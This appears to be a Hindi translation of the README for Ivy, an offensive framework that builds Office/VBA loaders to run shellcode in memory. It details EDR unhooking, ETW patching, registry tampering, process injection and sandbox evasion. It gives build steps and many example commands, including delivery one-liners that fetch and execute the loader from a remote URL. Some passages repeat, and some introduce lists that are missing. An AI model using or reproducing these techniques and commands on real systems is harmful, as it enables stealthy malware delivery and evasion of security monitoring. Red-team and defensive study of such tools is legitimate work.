optiv/ivyIvy एक payload निर्माण framework है, जो arbitrary VBA (macro) source code को सीधे memory में execute करने के लिए है। Ivy का loader VBA object environment में programmatical access का उपयोग करके shellcode को load, decrypt और execute करता है।
Ivy के नवीनतम संस्करण को देखने या कोई समस्या सबमिट करने के लिए, https://github.com/Tylous/Ivy देखें।
यदि आप इस फ्रेमवर्क में उपयोग की गई तकनीकों के साथ-साथ इससे बचाव के लिए सुरक्षा उपायों के बारे में अधिक जानना चाहते हैं, तो कृपया लेख देखें।
Ivy एक पेलोड निर्माण फ्रेमवर्क है जो मेमोरी में मनमाने VBA (मैक्रो) स्रोत कोड के निष्पादन के लिए है। Ivy का लोडर ऐसा VBA ऑब्जेक्ट एनवायरनमेंट में प्रोग्रामेटिक एक्सेस का दुरुपयोग करके शेलकोड को लोड, डिक्रिप्ट और निष्पादित करने के लिए करता है। यह तकनीक वास्तव में फाइललेस होने के जितना संभव हो उतना करीब है, क्योंकि आजकल अधिकांश फाइललेस हमलों में डिस्क पर कुछ फाइलें ड्रॉप करने की आवश्यकता होती है, जिसके परिणामस्वरूप VBA कोड का पता लगाने के लिए मानक सिग्नेचर-आधारित नियमों को बायपास किया जाता है। सामान्य VBA पेलोड्स में निम्नलिखित विशेषताएं होती हैं:
पूरी तरह से मेमोरी में चलने से, ये व्यवहार विशेषताएँ EDRs द्वारा पता लगाए जाने को कठिन बना देती हैं।
Ivy के लोडर RC4 एन्क्रिप्शन का उपयोग करके एन्क्रिप्ट किए जाते हैं (AES एन्क्रिप्शन बहुत अधिक ब्लोट का कारण बनता है और VBA को डिक्रिप्ट करने में हमेशा लगता है) और फिर अलग-अलग स्ट्रिंग्स में तोड़ दिए जाते हैं, जिससे कोई भी सैंडबॉक्सिंग इन स्ट्रिंग्स को एन्क्रिप्टेड स्ट्रिंग्स के रूप में पहचानने से रोकता है जिनकी जांच की जानी चाहिए। यह किसी भी डिकोडिंग तंत्र को इन पेलोड्स को कचरे के अक्षरों के अलावा कुछ और पहचानने से भी रोकता है।
Ivy का लोडर पहले "Trust access to the VBA project object mode" को सक्षम करने के लिए एक रजिस्ट्री क्वेरी करता है। यह रजिस्ट्री कुंजी मान यूजर-मोड में संग्रहीत होता है जो उपयोगकर्ता को बिना किसी उन्नत अनुमति की आवश्यकता के मान को संशोधित करने की अनुमति देता है। रजिस्ट्री मान को शून्य से 1 पर सेट किया जाता है; यदि रजिस्ट्री कुंजी मौजूद नहीं है तो Ivy इसे "1" मान के साथ बनाएगा। इस मान को सक्षम करने पर, एक अलग प्रक्रिया से VBA ऑब्जेक्ट एनवायरनमेंट तक प्रोग्रामेटिक एक्सेस की अनुमति होती है।
एक बार यह हो जाने के बाद लोडर एक छिपी हुई Excel प्रक्रिया को स्पॉन करेगा और एन्क्रिप्टेड स्ट्रिंग्स को एक VBA फंक्शन में लोड करेगा। यह ActiveX का उपयोग करके उसी कार्य को करने के GUI क्रियाओं का अनुकरण करके किया जाता है। यह निष्पादन की निगरानी के लिए मौजूद कई पारंपरिक नियंत्रणों को बायपास करने में मदद करता है। परिणामस्वरूप, डिक्रिप्ट फंक्शन और शेलकोड एक मेमोरी बफर से दूसरे में स्थानांतरित होते हैं, कभी डिस्क को स्पर्श नहीं करते। अंत में, लोडर कमांड-GUI कॉल का उपयोग करता है और रन फंक्शन को निष्पादित करता है, जो VBA के GUI पैनल में रन मैक्रो बटन पर क्लिक करने की क्रिया का अनुकरण करता है, डिक्रिप्शन फंक्शन शुरू करता है, उसके बाद शेलकोड का वास्तविक निष्पादन होता है।
महत्वपूर्ण
लक्ष्य एंडपॉइंट पर Microsoft Office स्थापित और सक्रिय होना चाहिए, क्योंकि Ivy Microsoft Office के VBA एनवायरनमेंट तक प्रोग्रामेटिक एक्सेस के दुरुपयोग पर निर्भर करता है।
यह Ivy को निम्न-स्तरीय सिस्टम कॉल का उपयोग करके WriteProcessMemory विंडोज फंक्शन का अपना संस्करण बनाने की अनुमति देता है, जो प्रत्यक्ष मेमोरी पते और रजिस्टर मानों को अप्रत्यक्ष रूप से संदर्भित करता है। Ivy मेमोरी के उन अनुभागों को ओवरराइट कर सकता है जो बिना किसी मेमोरी चेंज API फंक्शन को कॉल किए लिखने योग्य नहीं हैं। यह WriteProcessMemory की एक विशेषता के कारण होता है जो अस्थायी रूप से मेमोरी क्षेत्र की अनुमतियों को लिखने योग्य में बदल देता है (यदि आपके पास पर्याप्त विशेषाधिकार हैं, जो हमारे पास हैं क्योंकि हम प्रक्रिया के मालिक हैं)। यह मान लिखता है और VirtualProtect फंक्शन को कॉल किए बिना मूल अनुमतियों को पुनर्स्थापित करता है, इसके बजाय यह स्वचालित रूप से संबंधित syscall (NtProtectVirtualMemory) को कॉल करता है।
Ivy NtWriteVirtualMemory का अपना संस्करण उपयोग नहीं करता क्योंकि मेमोरी अनुमतियों को अस्थायी रूप से बदलने की यह प्रक्रिया नहीं होगी, जिसका अर्थ है कि विशिष्ट मेमोरी पते की सुरक्षा संशोधित नहीं होगी और निष्पादन विफल हो जाएगा। यह एक "विशेषता" है जिसे Microsoft ने डीबगर्स को अधिक स्थिर बनाने के लिए जारी किया है। चूंकि डीबगर्स मेमोरी को मौके पर संशोधित करना चाहते हैं, वे कई कार्यों को करने की आवश्यकता के बिना एक अनुभाग को संशोधित कर सकते हैं। (जानकारी के लिए devblogs.microsoft.com देखें)
आइए उन घटनाओं की श्रृंखला पर एक नज़र डालें जो एक EDR देखेगा:
एक बार सभी EDR हुक हटा दिए जाने के बाद, लोडर फिर एक रिमोट सत्र स्थापित करने के लिए अपनी सामान्य कार्रवाई करता है।
Ivy इस समस्या को सामान्य सिस्टम DLLs के EDR के हुक को हटाकर संबोधित करता है, इनमें शामिल हैं:
जब unhook का उपयोग Inject पेलोड प्रकार के साथ किया जाता है, तो Ivy का लोडर पहले ऑफिस प्रक्रिया को अनहुक करेगा, उसमें से EDR को हटाकर, और फिर इंजेक्ट की गई प्रक्रिया में हुक हटाएगा। यह सुनिश्चित करता है कि दोनों प्रक्रियाएँ हुक-मुक्त हों, जिससे पैरेंट और चाइल्ड प्रक्रिया से EDR को कोई टेलीमेट्री न भेजी जाए।
अनहुक करने के लिए उसी तकनीक का उपयोग करते हुए, Ivy ETW फंक्शन्स को पैच कर सकता है, जिससे प्रक्रिया द्वारा कोई भी ईवेंट उत्पन्न होने से रोका जा सके। ETW इस टेलीमेट्री को उत्पन्न करने के लिए बिल्ट-इन Syscalls का उपयोग करता है। चूंकि ETW विंडोज में निर्मित एक मूल सुविधा है, सुरक्षा उत्पादों को जानकारी प्राप्त करने के लिए ETW syscalls को "हुक" करने की आवश्यकता नहीं है। परिणामस्वरूप, ETW को रोकने के लिए, Ivy कई ETW syscalls को पैच करता है, रजिस्टरों को फ्लश करता है और निष्पादन प्रवाह को अगले निर्देश पर लौटाता है। ETW पैचिंग अब सभी लोडर में डिफ़ॉल्ट है, यदि आप ETW को पैच नहीं करना चाहते हैं तो अपने लोडर में इसे अक्षम करने के लिए -noetw कमांड-लाइन विकल्प का उपयोग करें।
Ivy को go में विकसित किया गया था।
पहला कदम हमेशा की तरह रिपो को क्लोन करना है। Ivy को संकलित करने से पहले, आपको निर्भरताएँ स्थापित करनी होंगी। उन्हें स्थापित करने के लिए, निम्नलिखित कमांड चलाएँ:
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
फिर इसे बनाएँ
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
Ivy के साथ लोडर जनरेट करते समय, आपको एक 64 और 32-बिट पेलोड जनरेट करना होगा और उन्हें -Ix64 और -Ix86 कमांड लाइन तर्कों के साथ इनपुट करना होगा। ऐसा इसलिए है क्योंकि ऑपरेटिंग सिस्टम 64-बिट हो सकता है लेकिन Office का चल रहा संस्करण वास्तव में 32-बिट हो सकता है; परिणामस्वरूप Ivy पेलोड इंजेक्ट करने से पहले उपयुक्त आर्किटेक्चर का पता लगाएगा।
इसके अलावा, लोडर जनरेट करते समय दो पेलोड प्रकार हैं। पहला, Inject, एक प्रक्रिया इंजेक्शन हमला करता है जहाँ एक नई प्रक्रिया को सस्पेंडेड अवस्था में स्पॉन किया जाता है और शेलकोड को प्रक्रिया में इंजेक्ट किया जाता है, फिर इसे रिज्यूम किया जाता है। जबकि प्रक्रिया इंजेक्शन सुविधाजनक हो सकता है और एक गैर-एक्सेल प्रक्रिया उत्पन्न करता है, EDRs इंजेक्ट करने के लिए एक सस्पेंडेड प्रक्रिया बनाने के कार्य का पता लगाने में बहुत कुशल हैं, जो हमें पकड़ सकता है। अधिक गुप्त विकल्प Local है। यह शेलकोड को सीधे वर्तमान Office प्रक्रिया में लोड करता है। Local विकल्प में पता लगाने से बचने के लिए अतिरिक्त सुविधाएँ भी आती हैं, जो कुछ Windows syscalls के प्रत्यक्ष कॉल का उपयोग करती हैं। ऐसा VBA वातावरण के कारण है जो हमें स्टैक के आधार पर सटीक फंक्शन को परिभाषित और कॉल करने की अनुमति देता है (बशर्ते हमने पहले सभी सही रजिस्टरों को संरेखित किया हो)। अंत में, इस पेलोड प्रकार में Ivy का लोडर शेलकोड को निष्पादित करने के लिए एक अप्रलेखित कॉल रखता है, जिससे निष्पादन को पकड़ना कठिन हो जाता है।
Inject मोड के साथ Ivy शेलकोड इंजेक्ट करने के लिए एक सस्पेंडेड अवस्था में एक प्रक्रिया बनाएगा। यह 32-बिट या 64-बिट सिस्टम है, इसके आधार पर यह एक अलग प्रक्रिया स्पॉन करेगा। Ivy में स्पॉन करने के लिए कुछ डिफ़ॉल्ट प्रक्रिया नाम हैं, हालाँकि इन्हें process32 या process64 फ्लैग का उपयोग करके बदला जा सकता है। पथ निर्दिष्ट करते समय सुनिश्चित करें कि आप पथ के लिए \\ का उपयोग करें।
सबसे पहले, आपको हमेशा -stageless तर्क का उपयोग करना चाहिए। हालाँकि, यदि आपको कभी स्टेज्ड पेलोड चलाने की आवश्यकता होती है, तो आप -stageless तर्क का उपयोग न करके ऐसा कर सकते हैं। -stageless का उपयोग करते समय आप रॉ शेलकोड का उपयोग कर सकते हैं, हालाँकि, जब आप स्टेज्ड पेलोड चलाने का चुनाव करते हैं, तो यह महत्वपूर्ण है कि Inject पेलोड प्रकारों के लिए शेलकोड VBA स्वरूपित होना चाहिए और Local प्रकारों के लिए शेलकोड C स्वरूपित होना चाहिए।
डिलीवरी कमांड लाइन तर्क आपको (मैक्रो के मामले में) एक कमांड या कोड की स्ट्रिंग उत्पन्न करने की अनुमति देता है जो रिमोट स्रोत से पीड़ित के होस्ट पर फ़ाइल को दूरस्थ रूप से खींचेगा। इन वितरण विधियों में शामिल हैं:
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
वर्तमान में रिमोट इंजेक्टेड प्रक्रिया को अनहुक करने में एक ज्ञात समस्या है। एक वर्तमान समाधान है कि फिलहाल unhook BOF लोड करें।